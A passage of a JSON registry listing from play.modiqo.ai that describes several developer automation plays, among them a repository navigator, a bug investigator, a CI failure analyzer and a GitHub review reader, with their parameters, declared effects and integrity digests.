absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2d56b097d29b8792b0c3fbdc50fe9e06d51c9b545764ddd95ce1e5830990f2ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":8,"for_each_steps":1,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/new-developer-repo-navigator@0.2.4","reference":"sakshamsai26/new-developer-repo-navigator@0.2.4","uri":"https://play.modiqo.ai/sakshamsai26/new-developer-repo-navigator@0.2.4","manifest_uri":"https://play.modiqo.ai/sakshamsai26/new-developer-repo-navigator@0.2.4","name":"new-developer-repo-navigator","title":"new-developer-repo-navigator","description":"Turn unfamiliar repository archaeology into a bounded, evidence-backed starting guide. It identifies stack and manifest signals, likely entrypoints, directories, database/auth/test/documentation clues, declared setup and test commands, environment-contract names, and a deliberate first-reading order. You control whether documentation and test signals are included and whether report=all adds a value-free evidence inventory. It never runs setup commands, installs dependencies, reads secret values, changes files, or contacts services; unproven architecture and runtime behavior remain UNKNOWN.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.4","published_at":"2026-09-05T07:16:07.116299+00:00","visibility":"public","quality_score":1,"size_bytes":6939,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":8,"names":["boundary","classify","navigate","inventory","preflight","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The guide is evidence-based and reports UNKNOWN when signals are absent."},{"name":"include_docs","type":"string","required":false,"default":"true","description":"Whether to inspect README and docs filenames for onboarding signals. false marks documentation guidance NOT ASSESSED."},{"name":"include_tests","type":"string","required":false,"default":"true","description":"Whether to inspect declared test commands and test-directory signals. false marks test guidance NOT ASSESSED."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings gives the shortest useful orientation path. all adds a value-free manifest, directory, and declared-command coverage inventory."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0976b5e2b7fe43eaafe27c62da49e154f51766574e8e957b2fa01fba12c71b6b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/bug-reproduction-investigator@0.2.4","reference":"sakshamsai26/bug-reproduction-investigator@0.2.4","uri":"https://play.modiqo.ai/sakshamsai26/bug-reproduction-investigator@0.2.4","manifest_uri":"https://play.modiqo.ai/sakshamsai26/bug-reproduction-investigator@0.2.4","name":"bug-reproduction-investigator","title":"bug-reproduction-investigator","description":"A vague bug report should produce a disciplined first investigation, not invented root causes. Bug Reproduction Investigator tokenizes the report, performs a bounded static scan of local source and test text, ranks evidence-bearing entry points, separates matching test evidence from absent evidence, and turns the supplied symptom into a smallest plausible reproduction outline. It explicitly names the browser, network, environment, state, and runtime facts it cannot observe because it never executes the application. Use it to decide where to start reading and which observation to collect next; do not treat a text match as proof of a defect or reproduction. Read-only: no application/test execution, Git mutation, network call, package installation, or file modification occurs.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.4","published_at":"2026-09-05T07:14:40.846689+00:00","visibility":"public","quality_score":1,"size_bytes":6583,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":8,"names":["boundary","classify","inventory","preflight","investigate","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4660f01b5503d460fa428b471df81096bbee982a5122190689589dae296e9bba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/anvit/env-drift-auditor@0.2.0","reference":"anvit/env-drift-auditor@0.2.0","uri":"https://play.modiqo.ai/anvit/env-drift-auditor@0.2.0","manifest_uri":"https://play.modiqo.ai/anvit/env-drift-auditor@0.2.0","name":"env-drift-auditor","title":"env-drift-auditor","description":"Audits local .env files against templates without exposing secrets.","owner":{"kind":"user","slug":"anvit"},"registry_organization":"anvit","tags":["env","security","dotenv","secrets"],"primary_domain":"domain-uncategorized","author":"anvit","version":"0.2.0","published_at":"2026-09-04T07:15:28.245926+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6647,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":3,"names":["audit_drift","discover_envs","render_markdown_report"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path to the directory tree to scan. Required unless demo=true."},{"name":"demo","type":"boolean","required":false,"default":false,"description":"When true, create and audit a temporary mock env tree under the system temp directory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e4cf21a3ad2ab802f7785a659adeb6f8d9ba43fd446d6645b0fffdbac05fb56a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/pugarhuda/monorepo-workspace-map@0.3.2","reference":"pugarhuda/monorepo-workspace-map@0.3.2","uri":"https://play.modiqo.ai/pugarhuda/monorepo-workspace-map@0.3.2","manifest_uri":"https://play.modiqo.ai/pugarhuda/monorepo-workspace-map@0.3.2","name":"monorepo-workspace-map","title":"monorepo-workspace-map","description":"Map a monorepo's package boundaries — which workspace packages exist, which depend on which, which are leaves nobody imports, and which dependency cycles exist. Read-only, no credentials, no adapters, and nothing the repository ships is ever executed. Also reports version skew, where the same external dependency is pinned differently in different packages, which is the papercut that builds fine and then breaks once at runtime; internal version mismatch, where a package asks for a range of a sibling that the workspace copy does not satisfy, so the package manager silently installs it from the registry instead of linking it; unlisted packages, directories holding a manifest that no workspace glob covers; and, when turbo.json or nx.json is present, pipeline coverage — which packages have no script for a task the pipeline expects and are therefore skipped silently. Understands npm and yarn workspaces, pnpm workspaces, Cargo workspaces, go.work, uv workspaces, and lerna. If the repository is not a monorepo it says so and lists every workspace definition it looked for, rather than returning an empty map. A local path is inspected in place; a URL is shallow-cloned to a temp directory.","owner":{"kind":"user","slug":"pugarhuda"},"registry_organization":"pugarhuda","tags":["domain-code-analysis","job-repository-onboarding","audience-developers","effect-read-only"],"primary_domain":"domain-code-analysis","author":"pugarhuda","version":"0.3.2","published_at":"2026-09-06T13:11:53.553232+00:00","visibility":"public","quality_score":1,"size_bytes":11258,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":2,"names":["map","resolve"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Monorepo to map: a git URL (https://, ssh://, git@host:owner/name) or a path to a local checkout","example":"https://github.com/vuejs/core"},{"name":"branch","type":"string","required":false,"default":"","description":"Branch or tag to inspect. Ignored for a local path; defaults to the repository default branch."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d3fa4ac01b8097caba256f5787c5cc38ea03dc925cc1c335febd63b31a536a8e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/vedang/contribution-ready@0.1.4","reference":"vedang/contribution-ready@0.1.4","uri":"https://play.modiqo.ai/vedang/contribution-ready@0.1.4","manifest_uri":"https://play.modiqo.ai/vedang/contribution-ready@0.1.4","name":"contribution-ready","title":"contribution-ready","description":"Before you write a PR to a repo you don't own, this profiles the upstream project from the public GitHub API and answers the one question that decides the effort: will they merge my PR? A 3-call civic read (archived? dead for 12 months? committers?) exits early on clearly dead repos; alive repos get a deep dive into outsider throughput (are non-committer PRs actually getting merged?), maintainer response presence, friction (CI, CLA, templates) and the good-first-issue onramp. Returns a GO / AVOID / UNSURE verdict with the single scorecard that decided it, plus a concrete next action — onramp issue links when it's a go, a test-the-water docs PR when it's not. Never a score, always evidence: every signal carries its endpoint and timestamp; anything the API can't answer is reported indeterminate, never guessed. Read-only, github.com only, ~9-11 calls, needs only python3. Zero credentials REQUIRED: an optional GitHub token (token_file, ~/.config/rote/github_token, or your existing gh CLI login) raises limits from 60 core/h to 5,000/h so multiple repos can be checked quickly; the value stays local and is never echoed.","owner":{"kind":"user","slug":"vedang"},"registry_organization":"vedang","tags":["domain-open-source","job-contribution-research","tool-github-api","effect-read-only","audience-contributors"],"primary_domain":"domain-open-source","author":"vedang","version":"0.1.4","published_at":"2026-09-06T01:05:35.492791+00:00","visibility":"public","quality_score":1,"size_bytes":99598,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":3,"names":["profile","validate","selfcheck"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub repo to profile - owner/repo, an https://github.com URL, or a git remote form","example":"prettier/prettier"},{"name":"token_file","type":"string","required":false,"default":"","description":"Optional path to a file holding a GitHub token. Falls back to ~/.config/rote/github_token, then your existing gh CLI login. Raises limits from 60 core/h + 10 search/min to 5,000/h + 30/min so multiple repos can be checked quickly. The value is never echoed and never leaves this machine; with no token anywhere the play still runs unauthenticated.","example":"~/.config/rote/github_token"},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the verdict and scorecard cards; all also prints every evidence signal","example":"findings"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d11823f76212b03c29cc9416ed4d4041ccfc9f9555dcfd688cb0a1d52e078dcb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cyh7789/pr-review-verdict@0.2.1","reference":"cyh7789/pr-review-verdict@0.2.1","uri":"https://play.modiqo.ai/cyh7789/pr-review-verdict@0.2.1","manifest_uri":"https://play.modiqo.ai/cyh7789/pr-review-verdict@0.2.1","name":"pr-review-verdict","title":"pr-review-verdict","description":"Answers the question you actually have after a review lands: what did the reviewers decide, and where is the substance. Reading a pull request's review state wrong is the common failure, and it fails in the direction that looks like good news. GitHub keeps every review a person ever submitted, so the reviewer who requested changes in March and approved in April appears as both; only the newest verdict per reviewer is that person's position. A COMMENTED review is a remark, not a decision, and DISMISSED is a decision that was taken back. The pull-request-level review decision GitHub exposes stays empty unless a branch protection rule requires reviews, so an unprotected repository reports nothing on a pull request a reviewer is blocking. And zero inline comments means two opposite things: on an approval the body is the whole review, but on a blocking review it means the objection does not attach to any changed line, which is the shape most worth reading in full and exactly the one a count of inline comments reads as nothing to fix. A source this play cannot read is reported as undetermined, never as an absence: a pull request whose reviews did not arrive is not a pull request nobody reviewed, and the verdict, the headline and the next action all say so rather than leaving the correction to a caveat. Read-only: four GitHub reads through your existing gh sign-in, no writes, and it degrades to the anonymous public API when gh is absent.","owner":{"kind":"user","slug":"cyh7789"},"registry_organization":"cyh7789","tags":["domain-engineering","job-code-review","audience-developers","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"cyh7789","version":"0.2.1","published_at":"2026-09-05T12:21:18.954822+00:00","visibility":"public","quality_score":1,"size_bytes":18484,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":5,"names":["verdict","fetch_pr","resolve_pr","fetch_inline","fetch_reviews"]},"parameters":[{"name":"pr","type":"string","required":false,"default":"jellyfin/jellyfin-vue#2000","description":"The pull request to read: owner/repo#123, owner/repo/pull/123, or a full github.com URL. The default is a closed public pull request whose only review blocks with no inline comment, so a zero-argument run shows the shape this play exists for.","example":"https://github.com/pnpm/pnpm/pull/14471"},{"name":"max_pages","type":"integer","required":false,"default":"40","description":"How many pages of 100 to read per list endpoint. The walk stops here rather than running until GitHub runs out, and a run that stops early says so instead of reporting its partial counts as totals. Raise it for a pull request with thousands of comments.","example":"100"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5879f6c0b4ce9fcd413d19ed973cf37fce8300fc2e85033004d022e267c1bed2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/what-can-i-skip@0.23.24","reference":"sakshamsai26/what-can-i-skip@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/what-can-i-skip@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/what-can-i-skip@0.23.24","name":"what-can-i-skip","title":"what-can-i-skip","description":"When time is genuinely limited, a useful study plan should make uncertainty and tradeoffs visible instead of promising a grade. What Can I Skip turns a supplied syllabus, optional past-paper/weighting notes, and available study days into a risk-aware triage: must-understand foundations, high-value next topics, quick wins, work that may be deferred, and explicit conditions under which deferral is unsafe. Its recommendations are derived only from the text you provide; it does not claim access to an instructor’s intentions, a real marking scheme, or future exam questions. Use it to allocate attention and identify what to confirm, not as permission to ignore a topic. Read-only: no external education systems, files, or accounts are accessed or modified.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:17:31.366835+00:00","visibility":"public","quality_score":1,"size_bytes":7416,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":9,"names":["triage","boundary","classify","inventory","preflight","auth_github","constraints","create_issue","recommendations"]},"parameters":[{"name":"syllabus","type":"string","required":true,"description":"Plain-text syllabus, past-paper topics, or weighting you provide."},{"name":"days","type":"string","required":true,"description":"Positive number of study days remaining."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue with the generated study triage."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:a584b5d112ddafe1dfd8f1789acfbe9974ea2fdd8080052a3e6df83e75c36ff0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":1,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/api-breaking-change-detector@0.23.24","reference":"sakshamsai26/api-breaking-change-detector@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/api-breaking-change-detector@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/api-breaking-change-detector@0.23.24","name":"api-breaking-change-detector","title":"api-breaking-change-detector","description":"A diff can be syntactically small while changing the contract that callers depend on. API Breaking Change Detector compares the before-and-after local Git diff for recognizable route declarations, exported functions, and exported types, then groups possible interface removals, required-parameter changes, and route changes into evidence-backed findings and explicitly labeled heuristics. It gives a compatibility-review plan rather than declaring semantic-version compliance: generated APIs, reflection, runtime routing, documentation contracts, consumers outside the repository, and actual client behavior remain UNKNOWN unless represented in the local diff. Read-only: it never runs tests, starts a service, changes Git state, fetches, pushes, or contacts a remote.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","api-compatibility","git-analysis","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:15:38.994192+00:00","visibility":"public","quality_score":1,"size_bytes":4886,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":7,"names":["analyze","boundary","classify","inventory","preflight","auth_github","create_issue"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. Only tracked diff and source text are read; no fetch, checkout, commit, or file write occurs."},{"name":"change_range","type":"string","required":true,"description":"Existing local Git revision range, for example HEAD~10..HEAD. It must resolve locally; invalid or unavailable history is reported as UNKNOWN."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue with the redacted compatibility findings."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:80d1020b2a6b3f8da07b92605aac54c487c51ee8ef4d8a9814b8b53a86be62e1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":1,"shell":5,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/why-is-ci-mad-at-me@0.23.24","reference":"sakshamsai26/why-is-ci-mad-at-me@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/why-is-ci-mad-at-me@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/why-is-ci-mad-at-me@0.23.24","name":"why-is-ci-mad-at-me","title":"why-is-ci-mad-at-me","description":"Why Is CI Mad At Me correlates an authorized local CI failure log with a local repository diff, workflow configuration, runtime/dependency manifests, and statically relevant source paths. It separates direct log/diff evidence from ranked hypotheses, calls out warnings and missing context, and proposes non-mutating checks in the order most likely to reduce uncertainty. It never assumes the checkout matches the CI commit, that a workflow file was used, or that a static match proves the cause; those conditions are named as PARTIAL or UNKNOWN. Read-only: it never runs project code, triggers CI, reads service credentials, alters Git, installs dependencies, or contacts CI services.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:14:11.763769+00:00","visibility":"public","quality_score":1,"size_bytes":6271,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":9,"names":["boundary","classify","inventory","preflight","auth_github","constraints","investigate","create_issue","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository path you are authorized to inspect."},{"name":"log","type":"string","required":true,"description":"Absolute failure-log path or pasted log text; exclude credentials and tokens."},{"name":"base","type":"string","required":false,"default":"HEAD~1","description":"Git base revision for local diff correlation."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue with the redacted CI investigation."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:d386ac6a5c3d1fef0fc2980d80bc394da87a27fd746ce5289ef160a0f77116a9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":1,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/test-command-finder@0.23.24","reference":"sakshamsai26/test-command-finder@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/test-command-finder@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/test-command-finder@0.23.24","name":"test-command-finder","title":"test-command-finder","description":"Finds declared test and quality-check commands and can optionally publish the redacted command inventory as a GitHub issue.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","testing","commands","repository-hygiene","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:13:04.434924+00:00","visibility":"public","quality_score":1,"size_bytes":3320,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":14,"names":["risks","scope","python3","boundary","classify","evidence","planning","inventory","preflight","auth_github","constraints","create_issue","dependencies","verification"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play reads common project manifests and Makefiles only; discovered commands are suggestions and are never executed."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"When true, creates a GitHub issue in sakshamsai26/rote-playoffs-2026 containing the command inventory."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:82a5a66191d2a4435ee8f2ccf4dd266fa8987434ad3166b2f26e05ba3ee34e4e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":14,"kinds":{"api":1,"shell":12,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":13,"fan_out":0,"for_each_steps":0,"complexity":28,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/claim-vs-reality-auditor@0.23.24","reference":"sakshamsai26/claim-vs-reality-auditor@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/claim-vs-reality-auditor@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/claim-vs-reality-auditor@0.23.24","name":"claim-vs-reality-auditor","title":"claim-vs-reality-auditor","description":"PR descriptions and release notes often compress several different claims into one confident sentence. Claim Vs Reality Auditor reads a supplied local Git range and a supplied list of claims, then classifies each claim as VERIFIED, CONTRADICTED, UNPROVEN, or NOT CHECKABLE using only inspectable local diff/path evidence. It preserves the precise evidence boundary: a changed test file is not proof tests passed, an unchanged path is not proof an API was untouched, and runtime, deployment, and external-service claims remain unknown unless represented in the local evidence. Use the report to rewrite claims conservatively and target review; it does not run tests, alter Git state, fetch, push, or contact any service.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:09:29.098207+00:00","visibility":"public","quality_score":1,"size_bytes":4122,"license":null,"stats":{"downloads":9,"installs":0},"steps":{"count":7,"names":["audit","boundary","classify","inventory","preflight","auth_github","create_issue"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to an authorized local Git repository."},{"name":"change_range","type":"string","required":true,"description":"Existing local Git range, for example HEAD~1..HEAD."},{"name":"claims","type":"string","required":true,"description":"PR claims to assess; do not include secrets."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"When true, creates a GitHub issue in sakshamsai26/rote-playoffs-2026 containing the 